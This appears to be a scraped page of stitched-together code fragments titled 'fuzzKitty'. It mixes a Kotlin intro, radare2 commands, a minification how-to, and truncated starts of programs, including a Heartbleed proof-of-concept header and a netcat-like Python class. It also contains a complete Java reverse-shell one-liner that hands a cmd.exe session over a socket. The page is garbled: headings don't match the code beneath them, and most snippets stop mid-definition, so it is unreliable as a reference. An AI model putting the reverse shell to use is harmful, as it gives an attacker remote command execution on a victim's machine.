fuzzKitty

#Intro

Kotlin is a new programming language for the JVM. It produces Java bytecode, supports Android and generates JavaScript. The latest version of the language is Kotlin M5.3

Kotlin project website is at kotlin.jetbrains.org.

All the codes here can be copied and run on Kotlin online editor.

Let's get started.

radare2

load without any analysis (file header at offset 0x0): r2 -n /path/to/file

analyze all: aa
show sections: iS
list functions: afl
list imports: ii
list entrypoints: ie
seek to function: s sym.main

In production, it is recommended to minify any JavaScript code that is included with your application. Minification can help your website load several times faster, especially as the size of your JavaScript source code grows.

Here's one way to set it up:

Install Node.js
Run npm init -y in your project folder (don't skip this step!)
Run npm install terser

Now, to minify a file called like_button.js, run in the terminal:

	import android.content.Context;
	import android.content.pm.PackageInfo;
	import android.content.pm.PackageManager;
	import android.content.pm.PackageManager.NameNotFoundException;
	import android.content.pm.Signature;

	public class TamperCheck {

	//we store the hash of the signture for a little more protection
	private static final String APP_SIGNATURE = "1038C0E34658923C4192E61B16846";

	#!/usr/bin/python

	# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
	# The author disclaims copyright to this source code.

	import sys
	import struct
	import socket
	import time
	import select

	/**
	* Implements whitelisting on host name
	*/
	public class SaferWebViewClient extends WebViewClient {

	private String[] hostsWhitelist;

	public SaferWebViewClient(String hostsWhitelsit){
	super();
	this.hostsWhitelist = hostsWhitelist;

	import socket

	class Netcat:

	""" Python 'netcat like' module """

	def __init__(self, ip, port):

	self.buff = ""
	self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

	<html lang="en" class="no-js">
	<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width,initial-scale=1.0">
	<style>
	html body {width: 100%;height: 100%;padding: 0px;margin: 0px;overflow: hidden;font-family: arial;font-size: 10px;color: #6e6e6e;background-color: #000;} #preview-frame {width: 100%;background-color: #fff;}</style>
	<script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
	<script>
	//function to fix height of iframe!
	var calcHeight = function() {

	String host="localhost";
	int port=8044;
	String cmd="cmd.exe";
	Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

	"""
	A simple proxy server, based on original by gear11:
	https://gist.github.com/gear11/8006132

	Modified from original to support both GET and POST, status code passthrough, header and form data passthrough.

	Usage: http://hostname:port/p/(URL to be proxied, minus protocol)
	For example: http://localhost:5000/p/www.google.com
	"""
	import re